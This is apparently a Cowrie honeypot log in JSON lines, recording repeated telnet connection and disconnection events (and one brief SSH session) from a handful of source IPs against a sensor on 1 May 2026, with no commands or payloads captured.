{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":37102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb6637613ed","protocol":"telnet","message":"New connection: 103.208.219.59:37102 (10.17.0.5:23) [session: ceb6637613ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:43.991434Z"}
{"eventid":"cowrie.session.closed","duration":45.85491108894348,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:45.401048Z","src_ip":"188.208.141.113","session":"690c80f7040f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a2a867b35d","protocol":"telnet","message":"New connection: 103.208.219.59:37118 (10.17.0.5:23) [session: 05a2a867b35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:45.679964Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56944,"dst_ip":"10.17.0.5","dst_port":23,"session":"41af8ed0d51e","protocol":"telnet","message":"New connection: 188.208.141.113:56944 (10.17.0.5:23) [session: 41af8ed0d51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:46.533948Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":41302,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14ddacfb8fa","protocol":"telnet","message":"New connection: 103.208.219.59:41302 (10.17.0.5:23) [session: a14ddacfb8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:47.945242Z"}
{"eventid":"cowrie.session.closed","duration":30.971213579177856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:48.273263Z","src_ip":"103.208.219.59","session":"0dc61d2f582f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78105902671814,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:48.491377Z","src_ip":"188.208.141.113","session":"996a2fccc4c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87067461013794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:48.547765Z","src_ip":"103.208.219.59","session":"1a59694b86fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.92405724525452,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:48.599104Z","src_ip":"188.208.141.113","session":"024e70556f72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28166890144348,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:49.084735Z","src_ip":"188.208.141.113","session":"40a01c192faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.234254121780396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:49.351019Z","src_ip":"103.208.219.59","session":"af533f4d4266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.81040716171265,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:50.927332Z","src_ip":"188.208.141.113","session":"7f1efbbe6de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86701250076294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:51.349917Z","src_ip":"103.208.219.59","session":"91f01bc96f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":41318,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd4b1504b98","protocol":"telnet","message":"New connection: 103.208.219.59:41318 (10.17.0.5:23) [session: 3dd4b1504b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:51.455797Z"}
{"eventid":"cowrie.session.closed","duration":31.31234097480774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:52.768928Z","src_ip":"103.208.219.59","session":"c3cd7b3a72e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593013048171997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:54.273270Z","src_ip":"103.208.219.59","session":"e55a7f51bcf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324336528778076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:58.093068Z","src_ip":"103.208.219.59","session":"5bc04b16df98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39020,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65094b11b57","protocol":"telnet","message":"New connection: 103.208.219.59:39020 (10.17.0.5:23) [session: a65094b11b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:58.534953Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39008,"dst_ip":"10.17.0.5","dst_port":23,"session":"72e2ff360101","protocol":"telnet","message":"New connection: 103.208.219.59:39008 (10.17.0.5:23) [session: 72e2ff360101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:59.545071Z"}
{"eventid":"cowrie.session.closed","duration":47.75938558578491,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:00.691994Z","src_ip":"188.208.141.113","session":"6be04bdd0c88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"1575eedd6018","protocol":"telnet","message":"New connection: 103.208.219.59:39034 (10.17.0.5:23) [session: 1575eedd6018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:01.175536Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"b684687e5841","protocol":"telnet","message":"New connection: 103.208.219.59:39048 (10.17.0.5:23) [session: b684687e5841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:01.583423Z"}
{"eventid":"cowrie.session.closed","duration":43.55669951438904,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:04.492756Z","src_ip":"206.189.32.23","session":"16a8ea0a02fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.818053007125854,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:04.926637Z","src_ip":"64.227.9.242","session":"e3a89c702958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33552312850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:06.810021Z","src_ip":"103.208.219.59","session":"0c328a3d68cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.504472255706787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:08.437339Z","src_ip":"103.208.219.59","session":"ca58d372c090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.45954966545105,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:08.923414Z","src_ip":"188.208.141.113","session":"8a54d668505d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.73348379135132,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:09.658844Z","src_ip":"188.208.141.113","session":"0a84820b5f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":46810,"dst_ip":"10.17.0.5","dst_port":23,"session":"598fe959a11b","protocol":"telnet","message":"New connection: 103.208.219.59:46810 (10.17.0.5:23) [session: 598fe959a11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:10.542460Z"}
{"eventid":"cowrie.session.closed","duration":30.405183792114258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:11.177956Z","src_ip":"103.208.219.59","session":"83b61c53ce58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":46816,"dst_ip":"10.17.0.5","dst_port":23,"session":"77142a1565cf","protocol":"telnet","message":"New connection: 103.208.219.59:46816 (10.17.0.5:23) [session: 77142a1565cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:12.739728Z"}
{"eventid":"cowrie.session.closed","duration":33.23350429534912,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:13.002284Z","src_ip":"64.227.9.242","session":"ba03b2b921c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.755029916763306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:15.746346Z","src_ip":"103.208.219.59","session":"ceb6637613ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746432781219482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:16.426261Z","src_ip":"103.208.219.59","session":"05a2a867b35d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.89.77.114","src_port":6041,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98c18b663d8","protocol":"ssh","message":"New connection: 103.89.77.114:6041 (10.17.0.5:22) [session: d98c18b663d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:17.465328Z"}
{"eventid":"cowrie.session.closed","duration":48.714656352996826,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:17.713169Z","src_ip":"188.208.141.113","session":"bf560c13d3e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:18.016602Z","src_ip":"103.89.77.114","session":"d98c18b663d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56582,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a3e8e5222da","protocol":"telnet","message":"New connection: 188.208.141.113:56582 (10.17.0.5:23) [session: 1a3e8e5222da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:18.616128Z"}
{"eventid":"cowrie.session.closed","duration":31.424538612365723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:19.369644Z","src_ip":"103.208.219.59","session":"a14ddacfb8fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"48599b15eb24","protocol":"telnet","message":"New connection: 188.208.141.113:42346 (10.17.0.5:23) [session: 48599b15eb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:21.530612Z"}
{"eventid":"cowrie.session.closed","duration":30.986767053604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:22.442476Z","src_ip":"103.208.219.59","session":"3dd4b1504b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42362,"dst_ip":"10.17.0.5","dst_port":23,"session":"2039a5b8ab6b","protocol":"telnet","message":"New connection: 188.208.141.113:42362 (10.17.0.5:23) [session: 2039a5b8ab6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:24.109802Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"602a9ba2092d","protocol":"telnet","message":"New connection: 103.208.219.59:33368 (10.17.0.5:23) [session: 602a9ba2092d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:24.330253Z"}
{"eventid":"cowrie.session.closed","duration":43.50257325172424,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:24.769573Z","src_ip":"188.208.141.113","session":"f768399a8306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.449331045150757,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:24.979802Z","src_ip":"188.208.141.113","session":"48599b15eb24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.03488087654114,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:28.870228Z","src_ip":"188.208.141.113","session":"c0f849008f18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":34832,"dst_ip":"10.17.0.5","dst_port":23,"session":"f87b11b19d3e","protocol":"telnet","message":"New connection: 103.208.219.59:34832 (10.17.0.5:23) [session: f87b11b19d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:29.185765Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c6787facdf","protocol":"telnet","message":"New connection: 103.208.219.59:34840 (10.17.0.5:23) [session: a6c6787facdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:29.483278Z"}
{"eventid":"cowrie.session.closed","duration":30.953771114349365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:29.488522Z","src_ip":"103.208.219.59","session":"a65094b11b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892693758010864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:30.437639Z","src_ip":"103.208.219.59","session":"72e2ff360101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.94919204711914,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:30.483052Z","src_ip":"188.208.141.113","session":"41af8ed0d51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":34846,"dst_ip":"10.17.0.5","dst_port":23,"session":"de5d774e2f37","protocol":"telnet","message":"New connection: 103.208.219.59:34846 (10.17.0.5:23) [session: de5d774e2f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:31.451508Z"}
{"eventid":"cowrie.session.closed","duration":30.650697708129883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:32.233955Z","src_ip":"103.208.219.59","session":"b684687e5841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48683452606201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:32.662279Z","src_ip":"103.208.219.59","session":"1575eedd6018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58366,"dst_ip":"10.17.0.5","dst_port":23,"session":"e65214e11e6d","protocol":"telnet","message":"New connection: 188.208.141.113:58366 (10.17.0.5:23) [session: e65214e11e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:37.974759Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58368,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f2ca68fe5f","protocol":"telnet","message":"New connection: 188.208.141.113:58368 (10.17.0.5:23) [session: e1f2ca68fe5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:39.258628Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44456,"dst_ip":"159.203.135.109","dst_port":23,"session":"45811d49f525","protocol":"telnet","message":"New connection: 64.227.9.242:44456 (159.203.135.109:23) [session: 45811d49f525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:41.773938Z"}
{"eventid":"cowrie.session.closed","duration":31.30711269378662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:41.849441Z","src_ip":"103.208.219.59","session":"598fe959a11b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38172,"dst_ip":"10.17.0.5","dst_port":23,"session":"408eebfeb44e","protocol":"telnet","message":"New connection: 188.208.141.113:38172 (10.17.0.5:23) [session: 408eebfeb44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:42.280960Z"}
{"eventid":"cowrie.session.closed","duration":30.574406623840332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:43.314031Z","src_ip":"103.208.219.59","session":"77142a1565cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":36750,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8481033c93","protocol":"telnet","message":"New connection: 103.208.219.59:36750 (10.17.0.5:23) [session: 5d8481033c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:45.753563Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56674,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a219423e30c","protocol":"telnet","message":"New connection: 64.227.9.242:56674 (159.203.135.109:23) [session: 5a219423e30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:52.705501Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":37008,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b279ffdefc","protocol":"telnet","message":"New connection: 103.208.219.59:37008 (10.17.0.5:23) [session: 11b279ffdefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:53.649885Z"}
{"eventid":"cowrie.session.closed","duration":30.801249504089355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:55.131396Z","src_ip":"103.208.219.59","session":"602a9ba2092d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc4ab561a52","protocol":"telnet","message":"New connection: 188.208.141.113:50608 (10.17.0.5:23) [session: 0fc4ab561a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:49:56.289463Z"}
{"eventid":"cowrie.session.closed","duration":30.70940375328064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:00.192508Z","src_ip":"103.208.219.59","session":"a6c6787facdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162471294403076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:00.348190Z","src_ip":"103.208.219.59","session":"f87b11b19d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":59452,"dst_ip":"10.17.0.5","dst_port":23,"session":"af336d302f1c","protocol":"telnet","message":"New connection: 103.208.219.59:59452 (10.17.0.5:23) [session: af336d302f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:00.547856Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8625cdf6f94","protocol":"telnet","message":"New connection: 188.208.141.113:55502 (10.17.0.5:23) [session: e8625cdf6f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:02.874530Z"}
{"eventid":"cowrie.session.closed","duration":32.10023593902588,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:03.551622Z","src_ip":"103.208.219.59","session":"de5d774e2f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55518,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd7c318094af","protocol":"telnet","message":"New connection: 188.208.141.113:55518 (10.17.0.5:23) [session: bd7c318094af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:05.910041Z"}
{"eventid":"cowrie.session.closed","duration":48.84156250953674,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:07.457478Z","src_ip":"188.208.141.113","session":"1a3e8e5222da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"64ceed6a2417","protocol":"telnet","message":"New connection: 103.208.219.59:50454 (10.17.0.5:23) [session: 64ceed6a2417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:08.302961Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"009cf994322a","protocol":"telnet","message":"New connection: 188.208.141.113:55522 (10.17.0.5:23) [session: 009cf994322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:08.532655Z"}
{"eventid":"cowrie.session.closed","duration":44.996026277542114,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:09.105722Z","src_ip":"188.208.141.113","session":"2039a5b8ab6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.142003774642944,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:12.674460Z","src_ip":"188.208.141.113","session":"009cf994322a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059987783432007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:16.813465Z","src_ip":"103.208.219.59","session":"5d8481033c93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36613059043884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:17.139930Z","src_ip":"64.227.9.242","session":"45811d49f525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48032,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20cbb3fa148","protocol":"telnet","message":"New connection: 188.208.141.113:48032 (10.17.0.5:23) [session: c20cbb3fa148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:18.161553Z"}
{"eventid":"cowrie.session.closed","duration":40.26349449157715,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:18.238132Z","src_ip":"188.208.141.113","session":"e65214e11e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58207678794861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:24.231840Z","src_ip":"103.208.219.59","session":"11b279ffdefc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.103185176849365,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:24.383894Z","src_ip":"188.208.141.113","session":"408eebfeb44e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.99805521965027,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:25.256584Z","src_ip":"188.208.141.113","session":"e1f2ca68fe5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50580,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd1e6c04387c","protocol":"telnet","message":"New connection: 188.208.141.113:50580 (10.17.0.5:23) [session: fd1e6c04387c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:28.130242Z"}
